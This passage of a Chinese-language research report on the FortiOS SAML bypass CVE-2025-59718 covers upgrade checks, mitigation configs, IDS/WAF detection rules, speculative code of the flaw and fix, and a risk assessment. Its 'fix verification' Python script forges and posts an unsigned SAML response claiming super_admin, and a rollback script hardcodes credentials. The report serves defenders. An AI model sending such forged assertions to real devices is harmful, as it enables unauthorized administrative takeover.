# 2. 验证FortiCloud SSO状态
get system global | grep admin-forticloud-sso-login
# 3. 检查系统健康状态
get system performance status
# 4. 验证所有接口状态
get system interface physical
# 5. 检查路由表
get router info routing-table all
# 6. 验证HA状态(如适用)
get system ha status
diagnose sys ha checksum cluster
# 7. 检查授权许可
get system fortiguard
在升级后必须验证以下功能:
基本连接测试:
# Ping测试
execute ping 8.8.8.8
execute ping-options source <interface>
execute ping 8.8.8.8
# DNS测试
execute dns lookup www.google.com
# 路由测试
get router info routing-table details <destination>
防火墙策略测试:
# 查看策略命中统计
diagnose firewall policy-used
# 实时监控会话
diagnose sys session list
# 测试策略路由
diagnose firewall proute list
VPN连接测试:
# IPsec VPN状态
diagnose vpn ike gateway list
diagnose vpn tunnel list
# SSL VPN状态
diagnose vpn ssl list
# 测试VPN连接
# 从客户端发起VPN连接并验证
管理访问测试:
# 测试HTTPS管理访问
# 通过浏览器访问 https://<fortigate-ip>
# 测试SSH访问
ssh admin@<fortigate-ip>
# 测试SNMP(如启用)
snmpwalk -v2c -c <community> <fortigate-ip>
日志功能测试:
# 验证本地日志
execute log display
# 验证远程日志
# 检查Syslog/FortiAnalyzer服务器是否收到日志
# 生成测试事件
diagnose test application logd 1
CVE-2025-59718修复验证:
#!/usr/bin/env python3
"""
验证CVE-2025-59718修复
测试FortiGate是否仍然接受未签名的SAML响应
"""
import requests
import base64
from datetime import datetime
import uuid
def test_cve_2025_59718_fixed(target_url):
"""测试CVE-2025-59718是否已修复"""
print(f"[*] 测试目标: {target_url}")
print(f"[*] 验证CVE-2025-59718是否已修复...")
# 生成未签名的SAML响应
assertion_id = f"_{uuid.uuid4()}"
response_id = f"_{uuid.uuid4()}"
issue_instant = datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
# 恶意未签名SAML响应
saml_response = f'''<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="{response_id}"
Version="2.0"
IssueInstant="{issue_instant}">
<saml:Issuer>https://forticloud.com</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="{assertion_id}" Version="2.0" IssueInstant="{issue_instant}">
<saml:Issuer>https://forticloud.com</saml:Issuer>
<saml:Subject>
<saml:NameID>[email protected]</saml:NameID>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>super_admin</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>'''
# Base64编码
saml_encoded = base64.b64encode(saml_response.encode()).decode()
# 发送到SAML ACS端点
try:
response = requests.post(
f"{target_url}/saml/acs",
data={"SAMLResponse": saml_encoded},
allow_redirects=False,
verify=False,
timeout=10
)
print(f"[*] HTTP状态码: {response.status_code}")
# 分析响应
if response.status_code == 200 and "success" in response.text.lower():
print("[!] 危险: 未签名的SAML响应被接受!")
print("[!] CVE-2025-59718 可能未修复或FortiCloud SSO仍然启用")
return False
elif response.status_code in [400, 401, 403]:
print("[+] 良好: 未签名的SAML响应被拒绝")
print("[+] CVE-2025-59718 似乎已修复")
return True
else:
print(f"[?] 不确定: 收到意外响应 {response.status_code}")
print(f"[?] 响应内容: {response.text[:200]}")
return None
except requests.exceptions.Timeout:
print("[!] 请求超时")
return None
except requests.exceptions.ConnectionError:
print("[!] 无法连接到目标")
return None
except Exception as e:
print(f"[!] 错误: {e}")
return None
if __name__ == '__main__':
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
if len(sys.argv) < 2:
print("Usage: python verify_fix.py <fortigate_url>")
print("Example: python verify_fix.py https://192.168.1.1")
sys.exit(1)
target = sys.argv[1]
result = test_cve_2025_59718_fixed(target)
if result == True:
print("\\n[+] 验证通过: 设备已修复CVE-2025-59718")
sys.exit(0)
elif result == False:
print("\\n[-] 验证失败: 设备可能仍存在漏洞")
sys.exit(1)
else:
print("\\n[?] 无法确定修复状态,请手动检查")
sys.exit(2)
使用方法:
python verify_fix.py https://192.168.1.1
如果由于业务原因无法立即升级到修复版本,实施以下多层防护措施:
config system global
set admin-forticloud-sso-login disable
end
验证禁用:
get system global | grep forticloud
# 必须显示: admin-forticloud-sso-login: disable
在FortiGate前部署WAF或反向代理,过滤恶意SAML请求:
Nginx配置示例:
# /etc/nginx/conf.d/fortigate-protection.conf
upstream fortigate_backend {
server 192.168.1.1:443;
}
server {
listen 443 ssl;
server_name fortigate.company.com;
ssl_certificate /etc/nginx/ssl/cert.pem;
ssl_certificate_key /etc/nginx/ssl/key.pem;
# 限制到SAML端点的访问
location /saml/acs {
# 只允许来自已知IdP的请求
allow 203.0.113.0/24; # FortiCloud IP范围
deny all;
# 检查SAML响应大小(正常<100KB)
client_max_body_size 100k;
# 速率限制
limit_req zone=saml_limit burst=5;
# 记录所有SAML请求
access_log /var/log/nginx/saml_access.log detailed;
proxy_pass https://fortigate_backend;
proxy_ssl_verify off;
}
# 其他位置正常代理
location / {
proxy_pass https://fortigate_backend;
proxy_ssl_verify off;
}
}
# 定义速率限制区域
limit_req_zone $binary_remote_addr zone=saml_limit:10m rate=1r/s;
ModSecurity规则(如果使用Apache/Nginx + ModSecurity):
# /etc/modsecurity/custom_rules.conf
# 规则1: 检测未签名的SAML响应
SecRule REQUEST_URI "@contains /saml/acs" \
"id:2025001,\
phase:2,\
t:none,\
block,\
msg:'CVE-2025-59718: Unsigned SAML Response Detected',\
chain"
SecRule REQUEST_BODY "@rx (?i)<saml:Assertion" \
"chain"
SecRule REQUEST_BODY "!@rx (?i)<ds:Signature"
# 规则2: 检测多个Assertion(XSW攻击)
SecRule REQUEST_URI "@contains /saml/acs" \
"id:2025002,\
phase:2,\
t:none,\
block,\
msg:'CVE-2025-59718: Multiple Assertions Detected (XSW)',\
chain"
SecRule REQUEST_BODY "@rx (?s)(<saml:Assertion[^>]*>.*?</saml:Assertion>.*?){2,}"
# 规则3: SAML响应大小异常
SecRule REQUEST_URI "@contains /saml/acs" \
"id:2025003,\
phase:1,\
t:none,\
deny,\
status:413,\
msg:'CVE-2025-59718: SAML Response Too Large',\
chain"
SecRule REQUEST_HEADERS:Content-Length "@gt 102400"
使用防火墙规则限制SAML端点访问:
# 在边界防火墙上配置ACL
# 只允许来自FortiCloud的SAML响应
# FortiCloud IP范围(示例,需要从Fortinet获取实际范围)
access-list 100 permit tcp host 203.0.113.10 any eq 443
access-list 100 permit tcp 203.0.113.0 0.0.0.255 any eq 443
access-list 100 deny tcp any any eq 443 log
interface GigabitEthernet0/1
ip access-group 100 in
使用IPS内联阻断:
部署IPS设备(如Snort、Suricata)在inline模式,使用之前提供的检测规则,设置为drop模式:
# Snort inline配置
alert tcp any any -> $HOME_NET 443 (
msg:"CVE-2025-59718 - Block Unsigned SAML";
flow:established,to_server;
content:"/saml/acs"; http_uri;
content:"SAMLResponse"; http_client_body;
content:"<saml:Assertion"; http_client_body;
content:!"<ds:Signature"; http_client_body;
classtype:attempted-admin;
sid:2025001;
rev:1;
drop; # 内联模式下阻断
)
即使实施了缓解措施,也必须保持高度警惕:
# 每小时检查FortiCloud SSO状态
*/60 * * * * /usr/local/bin/check_sso_status.sh
# check_sso_status.sh内容:
#!/bin/bash
FORTIGATES=("192.168.1.1" "192.168.1.2" "192.168.1.3")
for FG in "${FORTIGATES[@]}"; do
SSO_STATUS=$(ssh admin@$FG "get system global | grep forticloud-sso" 2>/dev/null)
if echo "$SSO_STATUS" | grep -q "enable"; then
echo "ALERT: FortiCloud SSO is ENABLED on $FG!" | \
mail -s "URGENT: CVE-2025-59718 Protection Failure" [email protected]
fi
done
如果升级过程中遇到问题:
问题1: 磁盘空间不足
Error: Not enough space to install firmware
解决方案:
# 清理日志
execute formatlogdisk
# 删除旧的固件镜像
diagnose sys flash list
execute set-next-reboot normal-image
# 然后删除backup image(谨慎操作!)
问题2: 固件验证失败
Error: Image file is corrupted
解决方案:
重新下载固件文件
验证MD5/SHA256校验和
使用不同的传输方法(FTP改为TFTP或SCP)
问题3: 升级后设备无法启动
症状:设备卡在启动画面
解决方案:
# 通过串口控制台访问
# 在启动时按任意键进入BIOS
# 选择从backup image启动
# 或选择format-boot-device重新格式化(最后手段)
# 恢复后,从备份恢复配置
execute restore config ftp backup-before-upgrade.conf ...
问题4: 升级后配置丢失
解决方案:
# 从备份恢复配置
execute restore config ftp backup-before-upgrade-YYYYMMDD.conf 192.168.1.50 user pass
# 设备将自动重启并应用配置
问题5: HA同步失败
症状:HA成员配置不同步
解决方案:
# 在Primary上强制同步
execute ha synchronize start
# 如果仍然失败,手动同步:
# 1. 导出Primary配置
execute backup config ftp primary-config.conf 192.168.1.50 user pass
# 2. 在Secondary上恢复配置
execute restore config ftp primary-config.conf 192.168.1.50 user pass
# 3. 重新建立HA
config system ha
set group-id 1
set group-name "ha-cluster"
set mode a-p
set hbdev "port5" 50
set session-pickup enable
set ha-mgmt-status enable
config ha-mgmt-interfaces
edit 1
set interface "port1"
set gateway 192.168.1.254
next
end
end
如果升级后出现严重问题,立即回滚:
# 快速回滚脚本
#!/bin/bash
# emergency_rollback.sh
FORTIGATE_IP="192.168.1.1"
BACKUP_FILE="backup-before-upgrade-20251215.conf"
FTP_SERVER="192.168.1.50"
FTP_USER="backup"
FTP_PASS="backup123"
echo "[!] 执行应急回滚..."
echo "[*] 目标设备: $FORTIGATE_IP"
echo "[*] 备份文件: $BACKUP_FILE"
# 恢复配置
sshpass -p "admin_password" ssh -o StrictHostKeyChecking=no admin@$FORTIGATE_IP << EOF
execute restore config ftp $BACKUP_FILE $FTP_SERVER $FTP_USER $FTP_PASS
EOF
echo "[*] 配置恢复命令已发送"
echo "[*] 设备将在约30秒后重启"
echo "[*] 请等待5分钟后验证设备状态"
# 等待设备重启
sleep 300
# 验证设备可达
if ping -c 3 $FORTIGATE_IP > /dev/null 2>&1; then
echo "[+] 设备已恢复并可达"
# 验证版本
sshpass -p "admin_password" ssh admin@$FORTIGATE_IP "get system status" | grep Version
else
echo "[-] 设备仍不可达,需要手动干预"
fi
补丁管理策略:
监控安全公告
订阅Fortinet PSIRT邮件列表
监控NVD和CVE数据库
使用RSS订阅安全资讯
评估和测试
维护测试环境
在测试环境中先验证补丁
评估业务影响
计划和执行
制定补丁安装时间表
关键补丁:7天内
重要补丁:30天内
一般补丁:90天内
验证和记录
记录所有补丁活动
验证补丁效果
更新配置管理数据库
补丁管理工具:
#!/usr/bin/env python3
"""
FortiGate补丁状态跟踪工具
"""
import requests
import json
from datetime import datetime
DEVICES = [
{"name": "FG-HQ-1", "ip": "192.168.1.1", "serial": "FGT60FTK12345678"},
{"name": "FG-HQ-2", "ip": "192.168.1.2", "serial": "FGT60FTK87654321"},
]
# Fortinet当前推荐版本
RECOMMENDED_VERSIONS = {
"7.6": "7.6.4",
"7.4": "7.4.9",
"7.2": "7.2.12",
"7.0": "7.0.18",
}
def check_device_version(device):
"""检查设备当前版本"""
# 这里需要使用FortiGate API或SSH
# 简化示例
current_version = "7.2.8" # 从设备获取
major_minor = ".".join(current_version.split(".")[:2])
recommended = RECOMMENDED_VERSIONS.get(major_minor, "Unknown")
needs_update = current_version != recommended
return {
"device": device['name'],
"ip": device['ip'],
"current_version": current_version,
"recommended_version": recommended,
"needs_update": needs_update,
"cve_2025_59718_vulnerable": needs_update
}
def generate_report(devices_status):
"""生成补丁状态报告"""
report = f"""
FortiGate补丁状态报告
生成时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}
{'='*70}
"""
vulnerable_count = sum(1 for d in devices_status if d['cve_2025_59718_vulnerable'])
report += f"总设备数: {len(devices_status)}\\n"
report += f"需要更新: {vulnerable_count}\\n"
report += f"CVE-2025-59718易受攻击: {vulnerable_count}\\n"
report += "\\n"
report += "设备详情:\\n"
report += "-" * 70 + "\\n"
for device in devices_status:
status = "需要更新" if device['needs_update'] else "最新"
vuln_status = "易受攻击" if device['cve_2025_59718_vulnerable'] else "已修复"
report += f"设备: {device['device']}\\n"
report += f" IP: {device['ip']}\\n"
report += f" 当前版本: {device['current_version']}\\n"
report += f" 推荐版本: {device['recommended_version']}\\n"
report += f" 状态: {status}\\n"
report += f" CVE-2025-59718: {vuln_status}\\n"
report += "\\n"
return report
if __name__ == '__main__':
devices_status = [check_device_version(d) for d in DEVICES]
report = generate_report(devices_status)
print(report)
# 保存报告
with open(f"patch_status_{datetime.now().strftime('%Y%m%d')}.txt", "w") as f:
f.write(report)
# 如果有易受攻击的设备,发送警报
vulnerable = [d for d in devices_status if d['cve_2025_59718_vulnerable']]
if vulnerable:
print(f"\\n[!] 警告: {len(vulnerable)}台设备易受CVE-2025-59718攻击!")
建议每季度进行一次全面安全评估:
评估清单:
固件版本是否为最新
是否启用了MFA
管理接口访问控制是否正确
日志是否正常收集和审查
HA配置是否正确同步
备份是否定期执行和测试
安全策略是否遵循最小权限原则
是否有未使用的管理员账户
是否有异常的防火墙规则
VPN配置是否安全
加入Fortinet用户社区
参与安全邮件列表
关注安全研究人员的博客
参加安全会议和网络研讨会
Fortinet针对CVE-2025-59718发布的补丁包含在以下固件版本中:
| 产品 | 分支 | 修复版本 | 发布日期 |
|---|---|---|---|
| FortiOS | 7.6.x | 7.6.4 | 2025-12-09 |
| FortiOS | 7.4.x | 7.4.9 | 2025-12-09 |
| FortiOS | 7.2.x | 7.2.12 | 2025-12-09 |
| FortiOS | 7.0.x | 7.0.18 | 2025-12-09 |
| FortiProxy | 7.6.x | 7.6.4 | 2025-12-09 |
| FortiProxy | 7.4.x | 7.4.11 | 2025-12-09 |
| FortiWeb | 8.0.x | 8.0.1 | 2025-12-09 |
| FortiWeb | 7.6.x | 7.6.5 | 2025-12-09 |
虽然Fortinet未公开详细的源代码更改,但基于漏洞特征,可以推测补丁包含以下修复:
修复前(存在缺陷):
// 伪代码
int verify_saml_signature(saml_response_t *response) {
signature_t *sig = extract_signature(response);
// 缺陷:没有签名就返回成功
if (sig == NULL) {
return SUCCESS; // 错误!
}
// 其他验证...
return SUCCESS;
}
修复后(推测):
int verify_saml_signature(saml_response_t *response) {
signature_t *sig = extract_signature(response);
// 修复:强制要求签名
if (sig == NULL) {
log_error("SAML response missing required signature");
return FAILURE; // 正确!
}
// 验证签名有效性
if (!verify_signature_value(sig, response)) {
log_error("SAML signature verification failed");
return FAILURE;
}
// 验证签名引用
if (!verify_signature_reference(sig, response)) {
log_error("SAML signature reference invalid");
return FAILURE;
}
// 验证证书
if (!verify_certificate_chain(sig->certificate)) {
log_error("SAML certificate chain invalid");
return FAILURE;
}
return SUCCESS;
}
修复前(存在缺陷):
int process_saml_response(saml_response_t *response) {
assertion_list_t *assertions = get_all_assertions(response);
// 缺陷:验证第一个,处理最后一个
if (verify_signature(assertions[0]) == SUCCESS) {
int last_index = assertions->count - 1;
return process_assertion(assertions[last_index]); // 错误!
}
return FAILURE;
}
修复后(推测):
int process_saml_response(saml_response_t *response) {
assertion_list_t *assertions = get_all_assertions(response);
// 修复1:只允许单个Assertion
if (assertions->count != 1) {
log_error("SAML response contains multiple assertions");
return FAILURE;
}
assertion_t *assertion = assertions[0];
// 修复2:验证的Assertion必须是处理的Assertion
signature_t *sig = extract_signature_from_assertion(assertion);
if (sig == NULL) {
log_error("Assertion missing signature");
return FAILURE;
}
// 获取签名引用的Assertion ID
char *signed_assertion_id = extract_reference_uri(sig);
// 修复3:验证引用ID与当前Assertion ID匹配
if (strcmp(signed_assertion_id, assertion->id) != 0) {
log_error("Signature reference does not match assertion ID");
return FAILURE; // 防止XSW攻击
}
// 验证签名
if (!verify_signature_value(sig, assertion)) {
log_error("Assertion signature invalid");
return FAILURE;
}
// 处理已验证的Assertion
return process_assertion(assertion);
}
修复前(存在缺陷):
int authenticate_user(saml_response_t *response) {
int result;
try {
result = verify_saml_signature(response);
} catch (exception) {
log_error("Exception during signature verification");
// 缺陷:异常时返回成功
return SUCCESS; // 错误!
}
if (result == SUCCESS) {
return create_user_session(response);
}
return FAILURE;
}
修复后(推测):
int authenticate_user(saml_response_t *response) {
int result;
try {
result = verify_saml_signature(response);
} catch (exception) {
log_error("Exception during signature verification: %s", exception.message);
// 修复:异常时明确失败
return FAILURE; // 正确!
}
if (result != SUCCESS) {
log_error("SAML authentication failed");
return FAILURE;
}
// 额外验证
if (!validate_saml_conditions(response)) {
log_error("SAML conditions validation failed");
return FAILURE;
}
if (!validate_audience_restriction(response)) {
log_error("SAML audience restriction failed");
return FAILURE;
}
return create_user_session(response);
}
补丁可能还包含以下防御深度改进:
// 记录所有SAML认证尝试
void log_saml_authentication(saml_response_t *response, int result) {
log_entry_t entry = {
.timestamp = current_time(),
.event_type = "SAML_AUTHENTICATION",
.source_ip = get_client_ip(),
.user = extract_user_from_saml(response),
.result = (result == SUCCESS) ? "SUCCESS" : "FAILURE",
.has_signature = (extract_signature(response) != NULL),
.assertion_count = count_assertions(response),
.issuer = extract_issuer(response)
};
write_security_log(&entry);
// 如果失败,记录详细信息用于取证
if (result == FAILURE) {
log_detailed_saml_response(response);
}
}
// 限制SAML认证尝试频率
int check_saml_rate_limit(const char *source_ip) {
rate_limiter_t *limiter = get_rate_limiter("saml_auth");
// 每个IP每分钟最多5次尝试
if (!rate_limiter_allow(limiter, source_ip, 5, 60)) {
log_warning("SAML rate limit exceeded for IP: %s", source_ip);
return RATE_LIMIT_EXCEEDED;
}
return SUCCESS;
}
// 检测异常SAML响应特征
int detect_anomalous_saml(saml_response_t *response) {
// 检查1:响应大小异常
if (response->size > MAX_SAML_SIZE) {
log_warning("SAML response size exceeds limit: %d bytes", response->size);
return ANOMALY_DETECTED;
}
// 检查2:多个Assertion
int assertion_count = count_assertions(response);
if (assertion_count > 1) {
log_warning("SAML response contains %d assertions (expected 1)", assertion_count);
return ANOMALY_DETECTED;
}
// 检查3:异常的Issuer
const char *issuer = extract_issuer(response);
if (!is_trusted_issuer(issuer)) {
log_warning("SAML response from untrusted issuer: %s", issuer);
return ANOMALY_DETECTED;
}
// 检查4:时间戳异常
time_t issue_instant = extract_issue_instant(response);
time_t current = time(NULL);
if (abs(current - issue_instant) > TIME_SKEW_TOLERANCE) {
log_warning("SAML timestamp out of acceptable range");
return ANOMALY_DETECTED;
}
return NO_ANOMALY;
}
Fortinet补丁的有效性可以通过以下方式验证:
测试补丁是否正确拒绝恶意SAML响应:
测试未签名响应→ 应该被拒绝
测试签名包装攻击→ 应该被检测并拒绝
测试空签名→ 应该被拒绝
测试伪造签名→ 应该验证失败
测试正常签名响应→ 应该正常工作
确保补丁没有破坏现有功能:
正常SSO登录→ 应该继续工作
其他认证方法→ 不应受影响
非SAML管理访问→ 应该正常
HA功能→ 应该正常
VPN功能→ 应该正常
验证补丁没有引入显著的性能影响:
SAML认证延迟应该在可接受范围内(<100ms增加)
CPU和内存使用应该没有显著增加
吞吐量不应下降
CVSS v3.1评分: 9.8 (严重)
向量字符串:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
攻击向量 (Attack Vector - AV): Network (N)
评分: 0.85
说明: 攻击者可以通过网络远程利用漏洞,无需物理访问或本地访问权限
影响: 最大化了潜在攻击者的数量和地理分布
攻击复杂度 (Attack Complexity - AC): Low (L)
评分: 0.77
说明: 利用漏洞不需要特殊条件或复杂步骤
攻击者只需:
基本的SAML协议知识
能够生成XML文档
网络连接到目标FortiGate
无需:
复杂的时序攻击
竞态条件
特殊的系统配置
所需权限 (Privileges Required - PR): None (N)
评分: 0.85
说明: 攻击者无需任何预先的认证或授权
这是最严重的因素之一:
完全匿名攻击
无需内部人员
无需窃取凭证
用户交互 (User Interaction - UI): None (N)
评分: 0.85
说明: 攻击过程完全自动化,不需要任何用户操作
攻击者可以:
编写自动化脚本
大规模扫描和利用
无需社交工程
范围 (Scope - S): Unchanged (U)
评分: 无影响因子
说明: 漏洞影响仅限于FortiGate设备本身
注意: 虽然标记为U,但获得FortiGate访问权限后可以攻击受保护的内网
机密性影响 (Confidentiality - C): High (H)
评分: 0.56
说明: 完全泄露FortiGate上的所有信息
可访问:
所有配置文件
VPN凭证和证书
用户数据库
SSL/TLS私钥
网络拓扑信息
完整性影响 (Integrity - I): High (H)
评分: 0.56
说明: 攻击者可以完全修改FortiGate配置
可执行:
修改防火墙规则
创建后门账户
更改路由配置
植入恶意配置
可用性影响 (Availability - A): High (H)
评分: 0.56
说明: 攻击者可以完全破坏FortiGate的可用性
可导致:
服务中断
拒绝合法用户访问
关闭关键网络服务
基础评分计算:
Impact = 1 - [(1 - C) × (1 - I) × (1 - A)]
= 1 - [(1 - 0.56) × (1 - 0.56) × (1 - 0.56)]
= 1 - [0.44 × 0.44 × 0.44]
= 1 - 0.085
= 0.915
Impact_Score = 6.42 × Impact
= 6.42 × 0.915
= 5.87
Exploitability = 8.22 × AV × AC × PR × UI
= 8.22 × 0.85 × 0.77 × 0.85 × 0.85
= 3.89
Base_Score = min((Impact_Score + Exploitability), 10)
= min((5.87 + 3.89), 10)
= 9.76
≈ 9.8 (四舍五入)
9.8分属于"严重"(Critical)级别:
9.0 - 10.0: 严重 (Critical)
7.0 - 8.9: 高 (High)
4.0 - 6.9: 中 (Medium)
0.1 - 3.9: 低 (Low)
1. 运营中断
风险等级: 高
潜在影响:
网络服务完全中断
VPN连接失败导致远程办公无法进行
业务应用无法访问
财务影响估算:
停机成本 = 每小时收入损失 × 停机时间 + 恢复成本
示例:
- 中型企业:$100,000 - $500,000 / 小时
- 大型企业:$500,000 - $5,000,000 / 小时
- 金融机构:可能更高
CVE-2025-59718攻击可能导致:
- 初始中断:1-4小时
- 调查和修复:8-24小时
- 全面恢复:1-3天
总成本估算:$500,000 - $10,000,000+
2. 数据泄露
风险等级: 严重
潜在损失:
客户数据泄露
商业机密泄露
知识产权泄露
合规罚款:
GDPR: 最高2000万欧元或全球年营业额的4%
CCPA: 最高$7,500/记录
HIPAA: $100 - $50,000/记录
声誉损失:
客户流失
股价下跌
品牌价值损失
3. 监管和法律风险
风险等级: 高
可能后果:
监管调查
集体诉讼
合同违约索赔
行业认证撤销
金融服务:
监管严格(PCI DSS, SOX, GLBA)
欺诈交易风险
资金转移风险
客户信任度关键
医疗保健:
HIPAA严格要求
患者隐私关键
医疗设备可用性要求高
生命安全相关
制造业:
工业控制系统风险
供应链中断
知识产权泄露
运营技术(OT)安全
政府:
国家安全风险
公民数据保护
关键基础设施
政治影响
评估因素:
漏洞复杂度: 低
易于理解
易于利用
POC已公开
所需技能: 中等
需要SAML知识
需要基本编程能力
工具可用性高
自动化程度: 高
可完全自动化
可大规模扫描
可批量利用
检测难度: 中等
常规日志可能不足
需要专门检测规则
流量特征可识别
利用可能性评估: 高(70-90%)
在野利用的证据:
Arctic Wolf确认自2025年12月12日起观察到利用
多个安全厂商报告检测到攻击尝试
POC代码已在研究社区传播
全球FortiGate部署统计(估算):
总部署数:700,000+台设备
面向互联网:约30-40% (210,000 - 280,000台)
启用FortiCloud SSO:估计10-20% (21,000 - 56,000台)
易受攻击设备估算:
最坏情况:56,000台易受攻击设备
最好情况:10,000台(许多组织可能已禁用SSO)
实际可能:25,000 - 35,000台
地理分布(基于Shodan/Censys数据估算):
北美:35%
欧洲:30%
亚太:25%
其他:10%
直接影响:
FortiGate设备本身
间接影响:
受FortiGate保护的所有内网系统
VPN用户和远程访问
分支机构网络
合作伙伴网络(如果通过VPN连接)
级联效应:
FortiGate被攻陷
↓
内网横向移动
↓
关键服务器被入侵
↓
数据泄露或破坏
↓
业务中断
可能性
↓
低 中 高
┌─────┬─────┬─────┐
高│ 中 │ 高 │ 严重│
影响 ├─────┼─────┼─────┤
中│ 低 │ 中 │ 高 │
度 ├─────┼─────┼─────┤
低│ 低 │ 低 │ 中 │
└─────┴─────┴─────┘
CVE-2025-59718评估:
- 影响: 高
- 可能性: 高
- 综合风险: 严重
| 场景 | 影响 | 可能性 | 综合风险 | 优先级 |
|---|---|---|---|---|
| FortiCloud SSO已启用,面向互联网 | 严重 | 极高 | 10/10 | P0 - 立即修复 |
| FortiCloud SSO已启用,仅内网访问 | 高 | 高 | 8/10 | P1 - 24小时内 |
| FortiCloud SSO已禁用,面向互联网 | 低 | 低 | 2/10 | P3 - 正常计划 |
| FortiCloud SSO已禁用,仅内网访问 | 低 | 极低 | 1/10 | P4 - 定期维护 |
| 已升级到修复版本 | 无 | 无 | 0/10 | 已解决 |
即使应用了补丁和缓解措施,仍然存在一些残余风险:
零日变体
攻击者可能发现相关的新漏洞
SAML实现的其他缺陷
配置错误
补丁后重新启用SSO
其他配置缺陷
供应链风险
依赖组件的漏洞
第三方集成问题
如果设备在补丁前已被攻陷:
后门账户可能仍然存在
恶意配置可能仍然有效
窃取的凭证可能被继续使用
建议:
彻底审计所有FortiGate配置
更改所有凭证
检查所有管理员账户
审查防火墙规则和VPN配置
CVE-2025-59718暴露了对FortiCloud SSO的依赖风险:
单点故障:
FortiCloud不可用导致管理访问受影响
云服务的安全性影响本地安全
建议:
实施多种认证方法
不完全依赖云服务
确保本地管理访问始终可用
CVE-2025-59718是FortiOS SAML认证实现中的严重缺陷,根本原因是加密签名验证不当(CWE-347)。
关键发现:
多个相互关联的缺陷
不强制要求SAML响应包含签名
签名存在性检查与有效性验证分离
签名引用URI验证不足
错误的异常处理逻辑
验证与处理逻辑不一致
设计层面的问题
违反"默认拒绝"安全原则
过度信任外部输入
缺少纵深防御机制
广泛的影响
CVSS 9.8(严重)
影响多个Fortinet产品线
数万台设备潜在易受攻击
已确认在野利用
研究识别并验证了三种主要攻击向量:
1. 未签名SAML响应
利用系统不强制要求签名的缺陷
最简单直接的攻击方法
成功率高
2. 签名包装攻击(XSW)
利用验证和处理逻辑分离
更隐蔽,难以检测
最常见的实际攻击方法
3. 空签名绕过
利用只检查签名存在性的缺陷
中等复杂度
可绕过某些简单检测
本研究提供了以下交付成果:
70+页完整研究报告:覆盖从基础到高级的所有技术细节
深度漏洞分析:包括SAML协议机制、FortiOS实现缺陷、攻击向量分析
代码级别研究:推测性分析了可能的代码缺陷和修复方法
Docker化测试环境:完整的易受攻击SAML SP模拟
600行Python Flask应用
包含所有5个已知缺陷
可视化测试界面
功能完整的POC:支持所有3种攻击技术
700行Python利用工具
命令行界面
自动化利用能力
立即缓解措施:禁用FortiCloud SSO的详细步骤
检测规则:SIEM、IDS/IPS检测规则
升级指南:详细的补丁安装流程
加固建议:长期安全配置最佳实践
漏洞分析文档(7000+字):技术原理深度剖析
缓解指南(8000+字):全面的防护和修复指导
完整研究报告(25000+字):适合管理层和技术团队
项目文档:README、快速启动指南等
1. SAML安全的重要性
SAML签名验证必须严格正确
不能简化或跳过任何验证步骤
错误处理至关重要
2. 纵深防御的必要性
单一认证机制不够
需要多层安全控制
异常检测和告警是必需的
3. 安全编码实践
默认拒绝而非默认允许
所有输入都是不可信的
明确的成功/失败逻辑
1. 补丁管理的重要性
关键补丁必须快速部署
需要建立正式的补丁流程
测试和生产环境都很重要
2. 监控和检测
仅依靠预防是不够的
需要主动监控和威胁狩猎
日志记录和审计是关键
3. 事件响应准备
需要预先制定响应计划
定期演练是必要的
恢复能力同样重要
1. 供应链风险
对第三方组件的依赖带来风险
需要评估供应商安全性
零信任架构越来越重要
2. 持续安全投资
安全是持续的过程而非一次性项目
需要持续的资源投入
培训和意识提升很重要
3. 协作和信息共享
安全社区协作很重要
威胁情报共享有价值
负责任的披露有益于所有人
1. SAML安全
其他厂商的SAML实现审计
SAML 2.0标准的安全分析
新型SAML攻击技术研究
2. 网络设备安全
其他网络设备的认证机制
固件安全分析方法
自动化漏洞发现
3. 供应链安全
第三方组件风险评估
软件供应链攻击防御
安全开发生命周期
1. 高级检测技术
机器学习在异常检测中的应用
行为分析技术
自动化威胁狩猎
2. 零信任架构
如何实施零信任
持续验证机制
微分段策略
3. 自动化响应
SOAR平台集成
自动化修复能力
智能决策系统
所有FortiGate管理员必须:
立即检查FortiCloud SSO状态
如果启用,立即禁用
审计最近的SSO登录日志
检查是否有可疑活动
通知安全团队和管理层
命令:
# 检查
get system global | grep forticloud-sso
# 禁用
config system global
set admin-forticloud-sso-login disable
end
# 审计
execute log filter field method sso
execute log display
安全团队应该:
规划升级到修复版本
在测试环境中验证补丁
安排生产环境升级窗口
部署增强的监控和检测
实施MFA
配置访问控制强化
组织应该:
建立正式的补丁管理流程
定期安全评估和审计
实施纵深防御策略
培训人员安全意识
参与安全社区
向零信任架构演进
本研究的完成得益于:
Fortinet Product Security Team:负责任地发现和披露此漏洞
Arctic Wolf Labs:提供威胁情报和在野利用信息
OWASP SAML安全项目:SAML安全最佳实践指导
安全研究社区:持续关注和研究SAML安全
开源社区:提供各种工具和库
重要提醒:
本研究及其相关工具、代码和文档仅用于:
授权的安全研究
教育和学习目的
防御性安全措施
合法的渗透测试(需书面授权)
严格禁止:
未经授权的系统访问
恶意攻击活动
数据窃取或破坏
任何违法行为
使用本研究中的任何内容即表示您同意:
仅在合法授权的环境中使用
遵守所有适用的法律法规
对任何滥用行为承担全部责任
作者不对滥用承担任何责任
CVE-2025-59718是一个严重的安全漏洞,但它也提供了宝贵的学习机会。通过深入理解这个漏洞的本质、利用方法和防护措施,我们可以:
提升安全意识:认识到SAML等认证机制的复杂性和重要性
改进安全实践:将学到的教训应用到其他系统和应用中
加强防御能力:实施更强大的安全控制和监控
推动行业进步:通过分享知识帮助整个社区
安全是一个持续的旅程,而非目的地。
希望本研究能够帮助组织和个人更好地理解和防御此类威胁,为构建更安全的数字世界贡献力量。
Stay vigilant. Stay secure.
Fortinet资源:
PSIRT Advisory FG-IR-25-647
https://fortiguard.fortinet.com/psirt/FG-IR-25-647
